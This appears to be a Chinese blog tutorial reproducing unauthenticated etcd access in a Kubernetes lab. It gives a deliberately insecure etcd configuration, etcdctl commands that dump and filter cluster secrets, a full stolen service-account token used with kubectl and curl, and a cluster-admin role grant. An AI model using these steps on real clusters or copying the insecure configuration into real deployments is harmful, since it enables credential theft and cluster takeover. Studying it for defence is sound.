【云安全】云原生- K8S etcd 未授权访问

什么是etcd？

etcd 是一个开源的分布式键值存储系统，主要用于存储和管理配置信息、状态数据以及服务发现信息。它采用 Raft 共识算法，确保数据的一致性和高可用性，能够在多个节点上运行，保证在部分节点故障时仍能继续提供服务。

在 Kubernetes 中，etcd 扮演着关键角色，用于存储集群的所有资源数据（如 Pod、Service 和 Deployment 的信息）。Kubernetes 通过与 etcd 的交互，获取集群的当前状态并确保集群的一致性。

etcd 还提供了"watch"功能，允许用户在键值对发生变化时得到通知，适用于动态配置更新和分布式锁等场景。它是保证分布式系统一致性和高可用性的核心技术之一。

简单理解：etcd 用于存储集群的关键数据，包括节点信息、认证凭证、API 令牌（token）、证书等。它保存了集群的所有配置和状态数据，确保集群的一致性和可靠性。

在 Kubernetes 中，etcd 使用以下几个端口：

客户端端口（默认端口: 2379）：

用于 etcd 集群与 Kubernetes 控制平面之间的通信。Kubernetes 控制平面（如 API 服务器）通过这个端口与 etcd 交互，读取和写入集群状态。

集群通信端口（默认端口: 2380）：

用于 etcd 集群节点之间的内部通信，确保集群中的各个 etcd 节点之间的数据同步和一致性。这个端口用于 Raft 协议的数据同步。

这些端口通常需要被保护和访问控制，确保安全性。默认情况下，etcd 也会使用 TLS 加密这些端口的通信，以提高安全性。

etcd未授权访问

1、如果管理员配置不当，那么攻击者就可以从etcd中获取secrets&token等关键信息，进而通过kubectl创建恶意pod从而接管集群。

2、如果存在SSRF漏洞，配合配置不当，攻击者访问到etcd=接管集群。

3、位于K8s master node 对内暴露2379端口，本地可免认证访问，其他地址要带--endpoint参数和cert进行认证。

v3版本漏洞复现

我这里仅复现v3版本，v2版本较老，目前基本没有了

不安全的 etcd.yaml 配置如下：

apiVersion: v1
kind: Pod
metadata:
  annotations:
    kubeadm.kubernetes.io/etcd.advertise-client-urls: http://192.168.48.142:2379 #改成http
  creationTimestamp: null
  labels:
    component: etcd
    tier: control-plane
  name: etcd
  namespace: kube-system
spec:
  containers:
  - command:
    - etcd
    - --advertise-client-urls=http://192.168.48.142:2379 #改成http
    - --cert-file=/etc/kubernetes/pki/etcd/server.crt
    - --client-cert-auth=false #注释或修改成false
    - --data-dir=/var/lib/etcd
    - --initial-advertise-peer-urls=https://192.168.48.142:2380
    - --initial-cluster=master-1=https://192.168.48.142:2380
    - --key-file=/etc/kubernetes/pki/etcd/server.key
    - --listen-client-urls=http://127.0.0.1:2379,http://192.168.48.142:2379 #改成http
    - --listen-metrics-urls=http://127.0.0.1:2381
    - --listen-peer-urls=https://192.168.48.142:2380
    - --name=master-1
    - --peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt
    - --peer-client-cert-auth=true
    - --peer-key-file=/etc/kubernetes/pki/etcd/peer.key
    - --peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
    - --snapshot-count=10000
    #- --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt #注释
    image: registry.aliyuncs.com/google_containers/etcd:3.5.1-0
    imagePullPolicy: IfNotPresent
    livenessProbe:
      failureThreshold: 8
      httpGet:
        host: 127.0.0.1
        path: /health
        port: 2381
        scheme: HTTP
      initialDelaySeconds: 10
      periodSeconds: 10
      timeoutSeconds: 15
    name: etcd
    resources:
      requests:
        cpu: 100m
        memory: 100Mi
    startupProbe:
      failureThreshold: 24
      httpGet:
        host: 127.0.0.1
        path: /health
        port: 2381
        scheme: HTTP
      initialDelaySeconds: 10
      periodSeconds: 10
      timeoutSeconds: 15
    volumeMounts:
    - mountPath: /var/lib/etcd
      name: etcd-data
    - mountPath: /etc/kubernetes/pki/etcd
      name: etcd-certs
  hostNetwork: true
  priorityClassName: system-node-critical
  securityContext:
    seccompProfile:
      type: RuntimeDefault
  volumes:
  - hostPath:
      path: /etc/kubernetes/pki/etcd
      type: DirectoryOrCreate
    name: etcd-certs
  - hostPath:
      path: /var/lib/etcd
      type: DirectoryOrCreate
    name: etcd-data
status: {}

对应 api server 配置如下：

检查etcd服务是否正常

#查看2379端口是否处于监听状态

netstat -lnpt | grep 2379

#在K8s集群初始化后，etcd默认就以pod的形式存在，可以执行如下命令进行查看

kubectl get pod -A | grep etcd

（1）攻击者发现如下页面，由于2379端口默认不对外，且为tls认证，所以这种页面基本就是未授权访问了

（2）使用etcdctl工具进行测试和信息收集

#验证

etcdctl --endpoints=192.168.48.142:2379 get / --prefix

etcdctl --endpoints=192.168.48.142:2379 put /qiu/hui "attack"

etcdctl --endpoints=192.168.48.142:2379 get /qiu/hui

安装etcd客户端连接工具etcdctl
Releases · etcd-io/etcd · GitHub

（3）由于Service Account 关联了一套凭证，存储在 Secret中。因此攻击者可以过滤Secret，查找具有高权限的Secret，然后获得其token接管K8s集群

etcdctl --endpoints=192.168.48.142:2379 get / --prefix --keys-only | findstr /C:"/secrets/"

etcdctl --endpoints=192.168.48.142:2379 get / --prefix --keys-only | findstr /C:"/secrets/kube-system/clusterrole"

etcdctl --endpoints=192.168.48.142:2379 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-mr6x7

kubectl --insecure-skip-tls-verify -s https://192.168.48.142:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IlpJRnlaWGxOalUzT3JXa0cwaHVsck05eXFDeDRlU3d6NVR3ckdLdUJrLWcifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLW1yNng3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkNjgxZDQwYi1lNzRkLTQ3YjMtYTY5NC1hNWNjZDVhMTVkYzciLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.Ox4bHyR6IpRnHW_nw3dc8VnhWKhApBY0Q6dHSbtehe3taad6KskZk1qgrLlDHxhiwP-dtDCPNCzCNxdzBGFTICwTIsG33y3w8rc3-Uwk4ZzEisD9Ypt8136KvmBe2ozQREvQaxEsZFky1mW_6pMP0FjChrRQa3LQMV08ydDkx4ANYS4gc1NdqBcvLPC30gQGTftBlIFjmHZ0jIOW5Y5UkhaW1InMtVhyM2U4U_0xetSo6IBYa45sdppDLD5wa3FMxIxJxFVNav4gM6zB2K3uOm8v_7exVVJ7M2K4tMEDvrQCgJ7Fv0Q1fxu-PUZuDoOAM8hyDjAzpqmxW0aCmBmJ5w" -n kube-system get pods

#curl验证

curl --header "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IlpJRnlaWGxOalUzT3JXa0cwaHVsck05eXFDeDRlU3d6NVR3ckdLdUJrLWcifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjbHVzdGVycm9sZS1hZ2dyZWdhdGlvbi1jb250cm9sbGVyLXRva2VuLW1yNng3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImNsdXN0ZXJyb2xlLWFnZ3JlZ2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkNjgxZDQwYi1lNzRkLTQ3YjMtYTY5NC1hNWNjZDVhMTVkYzciLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Y2x1c3RlcnJvbGUtYWdncmVnYXRpb24tY29udHJvbGxlciJ9.Ox4bHyR6IpRnHW_nw3dc8VnhWKhApBY0Q6dHSbtehe3taad6KskZk1qgrLlDHxhiwP-dtDCPNCzCNxdzBGFTICwTIsG33y3w8rc3-Uwk4ZzEisD9Ypt8136KvmBe2ozQREvQaxEsZFky1mW_6pMP0FjChrRQa3LQMV08ydDkx4ANYS4gc1NdqBcvLPC30gQGTftBlIFjmHZ0jIOW5Y5UkhaW1InMtVhyM2U4U_0xetSo6IBYa45sdppDLD5wa3FMxIxJxFVNav4gM6zB2K3uOm8v_7exVVJ7M2K4tMEDvrQCgJ7Fv0Q1fxu-PUZuDoOAM8hyDjAzpqmxW0aCmBmJ5w" -X GET https://192.168.48.142:6443/api -k

（4）如果存在dashboard，也可以使用token登录，从而管理K8s

问题解决

复现时可能会遇到以下问题：

这表明 system:serviceaccount:kube-system:clusterrole-aggregation-controller 服务账户没有权限列出 kube-system 命名空间中的 pods 资源。可能的原因是该服务账户缺少适当的角色和权限。通过以下命令授予权限：

kubectl create clusterrolebinding clusterrole-aggregation-controller-binding \
  --clusterrole=cluster-admin \
  --serviceaccount=kube-system:clusterrole-aggregation-controller

这将赋予 system:serviceaccount:kube-system:clusterrole-aggregation-controller 服务账户集群管理员权限，从而允许它执行各种操作，包括列出 Pods。